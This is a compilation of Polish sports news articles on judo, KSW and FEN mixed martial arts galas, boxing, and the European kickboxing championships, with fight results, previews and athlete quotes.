Dyspozycja Polaka pozwała mieć nadzieję na kolejne dobre występy. Blisko 23-letni judoka pojechał do Tokio na prestiżowe zawody Grand Slam. Trzeci start po zmianie kategorii wagowej rozpoczął się dla Polaka obiecująco. W pierwszym starciu spotkał się z Seidai Sato i wygrał przez yuko. Kolejnym rywalem Szwarnowieckiego był trzeci zawodnik Grand Prix Ułan Bator Hui-Jung Lee. Koreańczyk nie potrafił przeciwstawić się Polakowi, który triumfował przez waza-ari. Niespełna 23-latek szedł po trzeci medal z rzędu, jednak na jego drodze stanął Dominic Ressel. Polak miał już na swoim koncie waza ari, jednak Niemiec przeprowadził decydującą akcję i wygrał przez ippon.

W starciu o brąz Szwarnowiecki spotkał się z Aslanem Lappinagovem. Obaj panowie stali razem na podium w Zagrzebiu, gdzie Rosjanin także zdobył brąz. Powtórki w Tokio być nie mogło, bo los skojarzył Szwarnowieckiego i Lappinagova w bezpośrednim starciu o miejsce na podium. Rosjanin rozstrzygnął pojedynek po upływie półtorej minuty, Polak na piątym miejscu.

Wyjątkowy rok

Damian Szwarnowiecki ma za sobą bardzo dobry rok. Wydawało się, że pojedzie do Rio de Janeiro. Był na liście europejskiej, jednak w ostatniej chwili miejsce zdobyła Arleta Podolak (57kg), co sprawiło, że Szwarnowiecki został w domu. Judoka Gwardii Wrocław wziął udział w mistrzostwach Europy w Kazaniu, jednak z rywalizacją pożegnał się już w drugiej rundzie.

Mimo to, niespełna 23-latek osiągnął najlepsze wyniki w karierze. W kwietniu, jeszcze w kategorii 73kg, wygrał turniej Grand Prix w Samsun. Jesiennymi występami Szwarnowiecki potwierdził wysoką dyspozycję. W tym roku 22-latek czterokrotnie stał na podium w międzynarodowych startach.

KM

Rach, ciach i po sprawie

Mariusz Pudzianowski nie pozostawił żadnych złudzeń raperowi „Popkowi”. „Pudzian” szybko uporał się z rywalem i zanotował dziesiąte zwycięstwo w karierze. Warto dodać, że KSW ma dwóch nowych mistrzów.

Gala KSW 37 „Circus of Pain” zostanie zapamiętana ze względu na starcie Pudzianowskiego z Mikołajuwem. Powrót „Popka” do MMA okazał się nieudany, z kolei „Pudzian” po dwóch porażkach, posmakował zwycięstwa.

Szybka robota

Raper zna smak rywalizacji w MMA, ale po raz ostatni walczył w… 2008 roku. Pudzianowski walczy regularnie i zbiera coraz lepsze recenzje. Potężny cios byłego mistrza świata w zawodach strongman jest postrachem dla kolejnych rywali. O tym, że „Pudzian” ma „parę w łapie” przekonał się Rolles Gracie, który po trzydziestu sekundach zakończył występ na KSW 31.

Starcie Pudzianowskiego i Mikołajuwa działo na wyobraźnię. Pojedynek miał być magnesem, który wzbudzi zainteresowanie galą i spełnił swoją rolę. „Popek” to postać kontrowersyjna, przez co skupia na sobie uwagę i wiele osób śledzi każdy jego ruch. W tym przypadku poziom sportowy stał pod sporym znakiem zapytania. 

Bohaterowie widowiska nie zamierzali czekać i szybko doszło do wymiany. Mikołajuw trafił prawym i Pudzianowski przysiadł, ale szybko podrażniony ruszył na rywala. Potężny cios i „Popek” wylądował na deskach, ale na tym nie koniec. „Pudzian” chciał przypieczętować triumf i zasypał rywala kolejnymi „cepami”. Sędzia przerwał jego natarcie i zakończył walkę, która trwała niecałe półtorej minuty. Dziesiąty triumf w karierze Pudzianowskiego stał się faktem.

Zmiana mistrzów

Fernando Rodrigues Jr. udowodnił, że jest groźny i potrafi rozstrzygać walki przed czasem. Pierwsza wizyta w Polsce zakończona wywalczeniem pasa w kategorii ciężkiej. Karol Bedorf, który wygrał osiem kolejnych walk na KSW, po ponad trzech lat traci tytuł. Polak dotrwał do drugiej rundy, w której Brazylijczyk wyprowadzał mnóstwo ciosów. W końcu Bedorf padł na deski, a Rodrigues dokończył dzieło.

Marcin Wrzosek nowym królem kategorii piórkowej! Artur Sowiński okazał się bezradny wobec natarcia 29-latka z Bydgoszczy, który w drugiej rundzie zdecydowanie ruszył do przodu. Wrzosek szybko posłał „Kornika” na deski i dosłownie zasypał go ciosami. Trafiał Sowińskiego raz po raz i w końcu sędzia przerwał walkę. „Kornik” musiał oddać pas Wrzoskowi, który zanotował drugą wygraną podczas występów dla KSW.

Wszyscy czekali na powrót Borysa Mańkowskiego, który nadal pozostaje na czele wagi półśredniej. „Diabeł Tasmański” nie walczył od występu na Wembley, gdzie rozprawił się z Jesse'm Taylorem. Potem kontuzja kostki i ogromny głód rywalizacji. W starciu z Johnem Maguire, Mańkowski pokazał mistrzowską klasę. Pierwsza runda to dominacja Polaka w stójce, druga w parterze, w trzeciej szukał poddania. Maguire wytrzymał pełen dystans, jednak nie było wątpliwości, kto zapisze na swoim koncie zwycięstwo. Udany powrót Mańkowskiego, w którym pokazał wszechstronne umiejętności.

Bezlitosny Francuz, mocny Wójcik

Mansour Barnaoui lepszy od Łukasza Chlewickiego, który już w pierwszej rundzie nie był w stanie kontynuować walki. Zabójcze okazały się łokcie Francuza. Lekarz stwierdził, że 37-letni „Sasza” nie nadaje się do dalszej rywalizacji. Barnaoui rozbił twarz Polaka, na której pojawiła się krew. Szybko, pewnie i skutecznie! Marcin Wójcik nie pozwolił Marcinowi Łazarzowi na zbyt wiele. 27-latek panował nad sytuacją, wyczuł moment i złapał rywala za głowę, po czym zapiął gilotynę. Trzecia walka  na KSW i trzecie zwycięstwo. Czy Tomasz Narkun, mistrz wagi półciężkiej, ma się bać? 

Denilson Neves de Oliveira pokazał się z dobrej strony w starciu z Patrykiem Wolańskim. Brazylijczyk był aktywny, kopał, próbował licznych kombinacji. Wolański musiał do samego końca walczyć o zwycięstwo, jednak Denilson nie zamierzał ułatwiać mu zadania. Werdykt sędziów wzbudził kontrowersje. Niejednogłośnie na punkty wygrał Wolański, dla którego była to pierwsza wygrana na KSW. W maju przegrał z Marcinem Wrzoskiem.

David Zawada wykorzystał szansę, którą otrzymał w ostatniej chwili. Jego starcie z Robertem Radomskim pojawiło się w miejsce pojedynku Macieja Jewtuszki z Yasubeyem Enomoto ze względu na problemy zdrowotne popularnego „Irokeza”. Zawada polował na pierwszą wygraną w KSW. Na swoim koncie zapisał porażki z Borysem Mańkowskim i Kamilem Szymuszowskim. Cierpliwość popłaca, a i powiedzenie „do trzech razy sztuka” ma rację bytu. W drugiej rundzie 26-latek zasypał Radomskiego ciosami i sędzia zmuszony był przerwać walkę. 

Z dobrej strony pokazali się debiutanci, jednak w lepszym nastroju pojedynek kończył Roman Szymański. Co prawda, Sebastian Romanowski w drugiej rundzie trafił rywala i posłał go na deski, ale nie wykorzystał okazji. W końcówce trzeciej odsłony Szymański zdobył dosiad, znalazł się za plecami przeciwnika i złapał duszenie. 

KM

Matt Horwich vs Filip Tomczak na FEN 15 Final Strike

Matt Horwich, były zawodnik organizacji UFC i Bellator i jedna z najbarwniejszych postaci światowego MMA, już 14 stycznia wystąpi w klatkoringu Fight Exclusive Night! Na gali FEN 15 Final Strike w Lubinie Amerykanin zmierzy się z młodym wilkiem polskiego MMA – niepokonanym na zawodowym ringu Filipem Tomczakiem.

Matt „Suave” Horwich należy do najbardziej rozpoznawalnych wojowników MMA. 38-letni weteran, który występował na arenach najważniejszych światowych organizacji, ma na koncie ponad 50 zawodowych walk, z których ponad połowę wygrał.  Poza UFC i Bellatorem walczył m.in. dla nieistniejących już Strikforce oraz International Fight League, w 2007 roku zdobywając pas IFL  i zajmując  1. miejsce w IFL World Grand Prix. Zjednał sobie sympatię kibiców MMA przede wszystkim bardzo twardą, nieustępliwą postawy w ringu – zazwyczaj zwycięża przed czasem, a jeśli przegrywa, to po decyzjach sędziowskich.  Często opisywany jest jako największy hipis w MMA, który chętnie opowiada o swojej głębokiej wierze w Boga, zamiłowaniu do poezji i muzyki oraz fascynacji mechaniką kwantową.

Matt Horwich kilkukrotnie walczył w Polsce, m.in. na galach KSW, na których pokonał Antoniego Chmielewskiego i Terry’ego Martina. Ostatnią swoją walkę również stoczył nad Wisłą – miesiąc temu na gali PLMMA 70 przegrał starcie o pas wagi średniej z będącym ostatnio w rewelacyjnej formie Marcinem Naruszczką.

Na gali FEN 15 naprzeciwko Amerykanina stanie obiecujący reprezentant młodego pokolenia Filip Tomczak. 25-letni fighter MMA Devil Fight Club Poznań świetnie rozpoczął swoją zawodową karierę, odnosząc komplet zwycięstw w czterech stoczonych dotychczas walkach, trzykrotnie poddając rywali w pierwszych rundach. Żaden z jego przeciwników nie może się jednak równać umiejętnościami i doświadczeniem z Horwichem, więc walka na gali FEN 15 będzie dla Tomczaka prawdziwym testem sportowej dojrzałości.

Wydarzeniem FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1 – w walce wieczoru zmierzą się Paweł Biszczak i Wojciech Wierzbicki, a w drugim starciu o pierwszy kobiecy tytuł w historii federacji FEN walczyć będzie Róża Gumienna. W innych walkach na zasadach MMA podczas gali wystąpią m.in. Marcin Zontek, Adam Golonkiewicz, Michał Michalski, Kamil Gniadek, Mateusz Głąb oraz Michał Miłek.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Oświadczenie zarządu FEN ws. walki Romana Szymańskiego poza federacją

W odpowiedzi na opublikowane wczoraj informacje prasowe zawierające zapowiedź walki Romana Szymańskiego poza federacją Fight Exclusive Night prezentujemy stanowisko zarządu naszej organizacji w tej sprawie.

„W związku z wczorajszymi doniesieniami medialnymi dotyczącymi planowanego uczestnictwa Romana Szymańskiego w charakterze zawodnika w wydarzeniu sportowym KSW 37 oświadczamy, iż Roman Szymański jest zawodnikiem Fight Exclusive Night i jego udział w walkach dla innej organizacji będzie rażącym naruszeniem postanowień kontraktu zawartego z naszą federacją, ze wszelkimi konsekwencjami prawno-finansowymi wynikającymi z jego zapisów.

Zarząd federacji Fight Exclusive Night” FEN

Czy skradną show?

Show must go on – słowa piosenki zespołu Queen pobrzmiewają silnie w uszach włodarzy KSW. Ci starają się zapewnić publiczności widowiska najwyższych lotów. Gala KSW 37 ma być popisem Mariusz Pudzianowskiego i Pawła Mikołajuwa, czyli popularnego „Popka”. Wydaje się, że pozostali zawodnicy będą tłem dla rywalizacji dwóch wspomnianych panów.

Trzy mistrzowskie walki uświetnią sobotni wieczór w krakowskiej Ergo Arenie. Jednak żadna z nich nie wzbudza takiego zainteresowania jak starcie „Pudziana” z „Popkiem”. Dlaczego? Kontrowersyjne postaci przyciągają, a do takich z pewnością należy 38-letni raper.

Magnes

Siedem lat temu w KSW debiutował Mariusz Pudzianowski. Wszyscy kojarzyli „Pudziana” ze spacerem farmera czy przeciąganiem samochodów ciężarowych. W rywalizacji strongmanów wszedł na poziom mistrzowski, zdobył wszystkie najważniejsze laury i zyskał ogromną popularność. Zakontraktowanie Pudzianowskiego przez KSW sprawiło, że znaczna część społeczeństwa chciała go zobaczyć w akcji w ringu. Zainteresowani czekali na to, co wydarzy się na warszawskim Torwarze. „Pudzian” w 43 sekundy rozprawił się z Marcinem Najmanem, a KSW stała się rozpoznawalną marką w całej Polsce.

Magnes w postaci Pudzianowskiego cały czas budzi zainteresowanie. Choć w najbliższej walce na KSW 37 były strongman znajdzie się w cieniu Pawła Mikołajuwa. Nieważne, jaki będzie rezultat, pierwszoplanową postacią będzie „Popek”. Wszystko przez jego kontrowersyjny styl bycia, dużą liczbę tatuaży czy skaryfikację twarzy. O nim się mówi, on przyciąga uwagę i nakręca zainteresowanie krakowską galą.

„Popek” nie jest żółtodziobem w MMA, jednak ostatnią walkę stoczył ponad osiem lat temu. Łącznie ma ich na koncie trzy, w tym dwie wygrane. Wszystkie stoczył w Wielkiej Brytanii. Raper ponownie wchodzi do świata MMA i nie będzie miał łatwo. Jego rywal stoczył już 14 walk i przez siedem lat wiele się nauczył. Pudzianowski przegrał dwie ostatnie walki, ale nadal w pamięci kibiców pozostaje jego ostatnie zwycięskie starcie. W maju 2015 roku znokautował Rollesa Gracie po niecałych 30 sekundach rywalizacji, czym pokazał, że stać go na efektowne akcje.

Wszyscy zacierają ręce na pojedynek „Pudziana” z „Popkiem”. Magnes działa. Od samego początku scenariusz trzyma w ogromnym napięciu. Trzeba przypomnieć, że podczas wrześniowej konferencji raper został zatrzymany przez policję. Sytuacja okazała się… wyreżyserowana, ale cała Polska usłyszała o gali i o walce. Zaczęło się od mocnego uderzenia, czy będzie tak do samego końca? Pesymiści podkreślają, że z „wielkiej chmury, mały deszcz”. Przydałoby się, żeby show pozaringowe przeniosło się na arenę. O tym przekonany się już 3 grudnia.

Mistrzowie

Po raz czwarty tytułu w wadze ciężkiej będzie bronił Karol Bedorf. Dwa ostatnie starcia 33-latek wygrał przed czasem. Na KSW 37 atak na Bedorfa przeprowadzi Fernando Rodrigues Jr., który ma na swoim koncie pojedynki w Brazylii i Japonii. W ostatnim starciu po raz pierwszy walczył w Europie. 29-letni Brazylijczyk wystąpił w Finlandii i w pierwszej rundzie pokonał Yosefa Ali Mohammada. Rodrigues Jr. to zawodnik, który szybko kończy swoje walki. Aż siedem z dziesięciu pojedynków wygrał przez nokaut.

Po ponad roku przerwy wraca mistrz wagi półśredniej Borys Mańkowski. „Diabeł Tasmański” przeszedł długą drogę, aby wejść na szczyt. W grudniu 2012 roku przegrał walkę mistrzowską z Aslambekiem Saidovem, jednak po upływie półtora roku sięgnął po tytuł. Trzy razy skutecznie bronił pasa. W Krakowie Mańkowski zmierzy się z Johnem Maguire. 33-letni Anglik wygrał pięć ostatnich walk, ma za sobą występy w UFC.

Artur Sowiński w obronie pasa mistrzowskiego w wadze piórkowej zmierzy się z Marcinem Wrzoskiem. Panowie nie ukrywają, że za sobą nie przepadają. W Krakowie nadarzy się okazja, aby rozwiązali konflikt. „Kornik” nie przegrał od sześciu walk, Wrzosek w ostatniej walce na KSW 35 pokonał Filipa Wolańskiego, a wcześniej przegrał z Julianem Erosą na turnieju UFC Fighter 22.

W związku z ostrym zapaleniem wyrostka i przebytą operacją na gali nie wystąpi Maciej Jewtuszko oraz jego rywal Yasubey Enomoto. Zamiast niech odbędzie się pojedynek Roberta Radomskiego z Davidem Zawada. Na KSW 37 dojdzie do starcia Łukasza Chlewickiego i Mansoura Barnaouiego. Marcin Wójcik zmierzy się z Marcinem Łazarzem, a Filip Wolański z Denilsonem Nevesem de Oliveirą. Galę otworzy starcie młodych Romana Szymańskiego i Sebastiana Romanowskiego.

KM

Kolejne wyzwania

Krzysztof „Diablo” Włodarczyk jest na ostatniej prostej przed kolejną walką. 10 grudnia zmierzy się z Leonem Harthem. Z kolei Andrzej Fonfara będzie chciał odbudować się po niespodziewanej porażce z Joe'm Smithem Jr. W przyszłym roku polski pięściarz spotka się z Chadem Dawsonem.

„Diablo” czeka na kolejny pojedynek, który ma mu pozwolić wrócić do czołówki wagi junior ciężkiej. W przypadku Fonfary wydawało się, że jest na najlepszej drodze, aby walczyć o mistrzostwo świata. Niestety, przytrafiła się porażka i urodzony w Radomiu bokser musi odbudować swoją pozycję.

Hat-trick Włodarczyka

Zapożyczenie z języka piłkarskiego jest jak najbardziej wskazane. 10 grudnia we Wrocławiu Włodarczyk stoczy trzeci pojedynek w tym roku. Po raz ostatni „Diablo” był tak aktywny w 2007 roku, kiedy zaczął od porażki ze Steve'm Cunninghamem, a potem przed czasem wygrał z Dominiquem Alexandrem oraz Moyoyo Mensahem.

Teraz sytuacja wygląda nieco inaczej. W marcu Włodarczyk wrócił po półtorarocznej przerwie i pokonał Valery'ego Brudova. Były mistrz świata WBC wygrał również z Kaiem Kurzawą. Włodarczyk miał ochotę na więcej i szykował się do listopadowego starcia z Nigeryjczykiem Olandrewaju Durodolą. Pojedynek nie doszedł do skutku, bo planowana gala została odwołana. 

Ruszyły poszukiwania kolejnego rywala. Wybór padł na Leona Hartha, który może pochwalić się 14 zwycięstwami na zawodowym ringu. Aż 10 pojedynków Niemiec wygrał przed czasem. 10 grudnia we Wrocławiu spróbuje pokonać Polaka, do którego należy pas IBF Inter-Continental. Włodarczyk w pocie czoła przygotowuje się do starcia. Były mistrz świata sparował m.in. z Michałem Olasiem, Michałem Cieślakiem i Juho Haapoją. Jeszcze jedno trafienie i i „ustrzeli” hat-tricka.

Wrócić do gry

Andrzej Fonfara pokonał Julio Cesara Chaveza Jr i Nathana Cleverly'ego, co przybliżyło go znacznie do ponownego spotkania z Adonisem Stevensonem, z którym przegrał w maju 2014 roku. „Polski Książę” musiał tylko pokonać Joe Smitha Jr. W Chicago doszło do sporej niespodzianki. Fonfara już w pierwszej rundzie wylądował na deskach.

29-latek czeka na kolejną walkę, która pozwoli mu się odbudować. 14 stycznia w Nowym Jorku zmierzy się z Chadem Dawsonem. 34-letni Amerykanin w ostatnim czasie walczy w kratkę, choć wygrał ostatnie dwie walki. Na przestrzeni ostatnich lat przegrywał m.in. z Adonisem Stevensonem i Andre Wardem. Dawson zdobywał tytuły IBF, IBO i WBC w wadze półciężkiej. Swego czasu pokonał Tomasza Adamka. Czy zatrzyma kolejnego Polaka?

Sala treningowa czeka

We wrześniu Krzysztof Głowacki stracił pas WBO kategorii junior ciężkiej na rzecz Oleksandra Usyka. Walka kosztowała boksera z Wałcza wiele zdrowia. Przeszedł operację prawego łokcia, niebawem powinien pojawić się na sali treningowej. 

Kiedy kolejna walka? Trudno wyrokować. Coraz częściej przewija się temat rywalizacji Głowackiego z Mateuszem Masternakiem.

KM

Michał Miłek w rewanżu z Mateuszem Głąbem na FEN 15

Już na gali FEN 15 Final Strike Michał Miłek stanie przed szansą na rewanż za przegraną pół roku temu walkę z Mateuszem Głąbem. Do rozstrzygnięcia pierwszego starcia tych młodych fighterów potrzebna była dogrywka, 14 stycznia w lubińskiej hali RCS można więc spodziewać się bardzo emocjonującego pojedynku!

Michał Miłek i Mateusz Głąb po raz pierwszy w klatkoringu Fight Exclusive Night spotkali się podczas majowej gali FEN 12 Feel The Force we wrocławskiej Hali Stulecia. Przy głośnym dopingu miejscowych kibiców po niezwykle zaciętej walce decyzją sędziów wygrał reprezentant WroX Gym Wrocław. Na FEN 15 Final Strike przed własną publicznością walczyć będzie jednak zawodnik Streffa Fight Team Lubin, więc przy tak wyrównanym poziomie obu fighterów mocne wsparcie z trybun tym razem jego może ponieść do zwycięstwa.

Dla obu tych utalentowanych i walecznych wojowników MMA kategorii lekkiej będzie to trzeci występ w Fight Exclusive Night. Nieco wcześniej w federacji debiutował Mateusz Głąb, zdobywca Pucharu Świata i multimedalista Pucharu Europy w taekwondo – w walce otwierającej galę FEN 10 Gold Edition w Lubinie trójkątem nogami w 3. rundzie zmusił do poddania Pawła Kordylewicza. Michał Miłek po raz pierwszy walczył na gali FEN 11 Warsaw Time, przez balachę w 3. rundzie pokonując faworyzowanego Alana Kwiecińskiego.

Zarówno Mateusz Głąb, jak i Michał Miłek stoczyli dotychczas trzy zawodowe walki. Lepszy bilans ma wrocławianin, który do dwóch wygranych w FEN dopisał niedawno spektakularne zwycięstwo na gali Celtic Gladiator 9 w Londynie, gdzie w zaledwie 21 sekund pokonał Anglika Steve’a McDonalda. Rekord fightera z Lubina jest na razie ujemny, ale warto przypomnieć, że Miłek debiutował w kategorii wyższej niż jego naturalna waga, biorąc w ostatniej chwili zastępstwo w walce z Jackiem Jędraszczykiem, a mimo to przegrał minimalnie, niejednomyślną decyzją sędziów.

W innych walkach na zasadach MMA podczas gali FEN 15 wystąpią m.in. Marcin Zontek, Adam Golonkiewicz, Michał Michalski i Kamil Gniadek. Kibiców czekają także walki o pasy mistrzowskie w formule K-1 z udziałem Pawła Biszczaka, Wojciecha Wierzbickiego i Róży Gumiennej.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Pozostał niedosyt

Dorota Godzina wraca z mistrzostw Europy w kickboxingu w Loutraki z brązowym medalem w full contact. Utytułowana zawodniczka liczyła na więcej.

„Dziewczyny lubią brąz” – w tym przypadku Ryszard Rynkowski się pomylił. Z pewnością zajęcie trzeciego miejsca na mistrzostwach Europy należy rozpatrywać w kategorii sukcesu, jednak Dorota Godzina wyżej zawiesiła sobie poprzeczkę. Po półfinałowej walce była zła na sędziów.

Kontrowersyjny werdykt

Ćwierćfinał europejskiego czempionatu poszedł po myśli zawodniczki X Fight Piaseczno, choć podczas walki z Savviną Vatistą nie obyło się bez problemów. Polka… ślizgała się na ringu. Greczynka nie zagroziła jednak Godzinie, która pewnie wygrała 3:0. 

Półfinałową rywalkę znała doskonale. Godzina wygrała z Kristin Vollstad w finale Pucharu Świata w Budapeszcie. Pojedynek o wejście do finału mistrzostw Europy miał zacięty przebieg. Do samego końca Godzina walczyła o zwycięstwo, jednak sędziowie wskazali na Norweżkę. Miesiąc temu w  Mariborze zawodniczka X Fight Piaseczno również odpadła w półfinale i zakończyła rywalizację w light contact na trzecim miejscu. Jak widać, historia lubi się powtarzać. – Swój występ na Mistrzostwach Europy, zarówno w light contact i full contact, oceniam dobrze. Czuję jednak niedosyt, ponieważ w jednym i drugim przypadku moje walki półfinałowe zakończyły się remisem i dopiero wskazanie sędziów decydowało o wygranej. O ile w Mariborze dosyć szybko pogodziłam się z werdyktem, tak w wypadku mojej walki full contactowej z Norweżką uważam, że byłam nieznacznie lepsza i wskazanie powinno być na moją korzyść. Nie rozpaczam, bo na pewno będzie jeszcze okazja do rewanżu. Mam sporo fighterskich planów na przyszły rok – przedstawia nam Dorota Godzina, brązowa medalista mistrzostw Europy w Loutraki.

Trzeba walczyć dalej

W przypadku reprezentantki Polski można mówić o sportowej złości. Godzina w Grecji zaprezentowała się z dobrej strony i dała siebie wszystko, jednak przegrała decyzją sędziów. Ostatecznie Norweżka sięgnęła po złoto, w które celowała zawodniczka X Fight Piaseczno.

Należy podkreślić, że Godzina dopisała kolejny medal do swojego bogatego dorobku. – W kickboxingu startuje już 14 lat i tak się składa, że jestem zawodniczką, która potrafi walczyć z sukcesami w wielu formułach. Lubię bardzo rywalizację i właśnie to ze startuje w różnych formulach walki sprawia ze nie pojawia się nuda i rutyna – wyjaśnia Godzina. –  Oczywiście zdarzają się momenty, że mam dość kickboxingu – dodaje.

Fot. Dorota Godzina Facebook 

KM

16 medali na koncie Polaków

Biało-czerwoni rywalizację w mistrzostwach Europy w kickboxingu w Loutraki zakończyli na piątym miejscu w klasyfikacji medalowej. Najlepsi okazali się Rosjanie, którzy wywalczyli 33 krążki.

Do rozgrywki o medal z najszlachetniejszego kruszcu dotarło ośmioro Polaków. Trzech z nich mogło cieszyć się ze zwycięstwa i tytułu najlepszego zawodnika Europy. Finałowe walki wygrali: Paulina Jarzmik (60kg), Katarzyna Kwiecień (70kg) i Mateusz Niżejewski (63kg), którzy startowali w kick light.

Wśród najlepszych

Po raz kolejny Polska potwierdziła, że należy jej się miejsce w czołówce. Mistrzostwa Europy kick light, full contact i pointfighting przebiegały pod dyktando Rosji, która zdobyła aż 19 złotych krążków. Drudzy Węgrzy zapisali na swoim koncie o 10 medali mniej, a łącznie wywalczyli ich 16. Podium uzupełnili Włosi (27), a tuż za nim Niemcy i Polska (16). Z tym, że nasi zachodni sąsiedzi zajęli czwarte miejsce, bo mieli o jedno srebro więcej.

Co do naszych zawodników, słowa uznania należą się Paulinie Jarzmik. 22-letnia zawodniczka wywalczyła w Loutraki dwa medale. W pointfightingu sięgnęła po brąz. Polka przegrała półfinałową walkę z późniejszą mistrzynią Luisą Gullotti. Za to bezkonkurencyjna okazała się w kick light. W boju o finał Jarzmik wygrała z Turczynką Goknur Yasin Dundar, a w starciu o złoto z Petrą Gremen potwierdziła absolutną dominację. Reprezentantka Polski już w drugiej rundzie mogła cieszyć się z triumfu. W kategorii 70kg triumfowała Katarzyna Kwiecień, która okazała się lepsza od Mariji Bozhinoskiej z Macedonii.

Sukces odniósł Mateusz Niżejewski. Polak mógł być zmęczony po ciężkim półfinale z Marco Filippim. Włoch postawił trudne warunki i był nieustępliwy, Nizejewski zarobił minusowe punkty, ale ostatecznie wygrał. Sanel Ljutić dobrze wspominał rywalizację z Polakiem, którego pokonał podczas Pucharu Świata w Rimini. Teoretycznie miała przewagę psychiczną, ale w Niżejewski zrewanżował się i sięgnął po złoto.

Zawiedziony może być Mateusz Kubiszyn (86kg), który w finale full contact uległ Bojanowi Miskoviciowi. Chorwat to mistrz świata WAKO PRO, jednak Polak rok temu sięgnął w Dublinie po miano najlepszego zawodnika globu i nie miał zamiaru się bać. Misković był liczony, jednak zachował więcej zimnej krwi. Chorwat wyprowadził więcej celnych ciosów, co przeważyło szalę na jego korzyść. W półfinale Aleksander Stawirej (+91kg) wyeliminował mistrza świata Batiaeva. Mistrz Europy juniorów z San Sebastian stanął przed ogromną szansą na sukces. W walce z Ivanem Tkachenko wyglądał dobrze i prowadził, jednak rywal w końcówce postawił wszystko na jedną kartę. Ukrainiec wyprowadził kilka celnych ciosów i wygrał.

Srebro dla Karoliny Dziedzic (70kg) w full contact. W kick light finałowe potyczki przegrali Patryk Kuryłek (57kg) i Piotr Wypchał (94kg). Biało-czerwoni zdobyli również osiem brązowych medali. Na najniższym stopniu podium stanęli: Karolina Mośko (48kg), Dorota Godzina (55kg), Kamil Dajwłowski (71kg), Paweł Strykowski (89kg) – wszyscy full contact oraz Karolina Kubiak (50kg), Wojciech Wiśniewski (79kg) oraz Michał Bławdziewicz (+94kg) i wspomniana Jarzmik.

Mistrzostwa w całości

Najważniejsza liczba to 35. Tyle medali zdobyli Polacy podczas mistrzostw Europy w Mariborze i Loutraki.

Rywalizacja na Słowenii odbyła się w październiku. O medal rywalizowali zawodnicy występujący w formułach K-1, low kick i light contact. Polacy zdobyli 19 medali, w tym siedem złotych. Warto wspomnieć, że w Mariborze tytuł mistrzyni Europy wywalczyła Paulina Jarzmik startująca w light contact. Sukces powtórzyła w Grecji. 

KM

Zaczyna się liczenie medali

Coraz bliżej najważniejszych rozstrzygnięć podczas mistrzostw Europy w kickboxingu w Loutraki. W półfinale full contact doskonale spisał się Aleksander Stawirej (+91kg), który pokonał mistrza świata Andreja Batiaeva.

Zacięte pojedynki, które kończą się dla jednych radością, a dla innych łzami. Celem biało-czerwonych zawsze jest szczyt, jednak niektórzy w starciach półfinałowych musieli przełknąć gorycz porażki.

Koniec na horyzoncie

Patryk Kuryłek (57kg), rywalizujący w kick light, w ćwierćfinale pokonał Włocha Edoardo Tranquillino. Nie obyło się bez krwi. Walka układała się po myśli Polaka, jednak w drugiej rundzie rywal rozbił mu nos. Kuryłek wrócił do zmagań i zrewanżował się Włochowi tym samym w trzeciej odsłonie. Sędzia przerwał walkę. Rozpędzony Kuryłek w półfinale zdominował Artura Rudenko. Ukrainiec nie miał nic do powiedzenia i musiał pogodzić się z porażką. 

W przypadku Pauliny Jarzmik (60kg) można mówić o zmiennym szczęściu. Zawodniczka X Fight Piaseczno w Grecji wystartowała w dwóch formułach: pointfighting oraz kick light. W tej pierwszej wywalczyła brąz, gdyż w półfinale lepsza okazała się Luisa Gullotti. Z kolei w starciu o wejście do finału w kick light Polka spotkała się z Goknur Yasin Dundar. Zawodniczki miały okazję się już spotkać. Podczas zeszłorocznych mistrzostw świata lepsza okazała się Jarzmik, która ponownie udowodniła swoją wyższość.

W kick light awans do finału wywalczyli również: Piotr Wypchał (94kg) i Mateusz Niżejewski (63kg). Zła na sędziów była Dorota Godzina (55kg). Startująca w full contact Polka w półfinale spotkała się z Kristin Vollstad. Norweżka okazała się niewygodną rywalką, jednak Godzina była nieustępliwa i zaprezentowała swoje atuty. Sędziowie wskazali jednak na Vollstad. Powodów do zadowolenia nie ma Karolina Mośko (48kg). W tegorocznych startach odnosiła już sukcesy i niesiona na skrzydłach marzeń robiła wszystko, aby dojść do finału. Na jej drodze stanęła Juliia Goroderskaja.

Jeden mistrz dalej, drugi zatrzymany

Mateusz Kubiszyn (86kg) konsekwentnie idzie do przodu. W ćwierćfinale już w drugiej rundzie rozprawił się z Antonio Garcią Iglesiasem. Mistrz świata w formule full contact z Dublina w półfinale stanął przed trudnym zadaniem. Serdar Yigit Eroglu walczył o zwycięstwo i ani na chwilę nie odpuścił. Do samego końca trwała walka o triumf, jednak więcej sił zachował Kubiszyn. 

Aleksander Stawirej (+91kg) cieszył się się z awansu do półfinału po pokonaniu Hamza Kendircioglu. Następnie na swojej drodze spotkał mistrza świata Andreia Batiaeva. Rosjanin to silny kolos, który mierzy blisko 210 cm. Polak dał radę czempionowi, walczył uważnie i szukał swojej szansy. Znakomite kontry dały mu zwycięstwo.

KM

Japonia na celowniku biało-czerwonych

Wielkimi krokami zbliża się ostatni akord w tegorocznych zmaganiach na tatami. Na początku grudnia w Tokio judocy powalczą w zawodach Jigoro Kano Grand Slam. Wystartuje w nim dwóch Polaków. Z kolei podopieczne Anety Szczepańskiej pracują nad formą w Tokio. 

Biało-czerwone trenują na Uniwersytecie Katsura od środy. W składzie brakuje głównych postaci kadry, które w tym roku wywalczyły złoty medal mistrzostw Europy w Kazaniu.

Kadra rusza na zgrupowanie

Nie ma chwili na odpoczynek. Końcówka sezonu zbliża się wielkimi krokami, jednak Aneta Szczepańska postanowiła zabrać swoje podopieczne do Japonii. Agata Perenc, Julia Kowalczyk, Anna Dąbrowska, Beata Pacut, Paula Kulaga i Anna Załęczna trenują na Uniwersytecie Katsura, gdzie będą przebywać 2 grudnia. Kolejna część zgrupowania odbędzie się w Kodokanu. W Japonii jest również Anna Borowska, ale trenuje w Yamanashi.

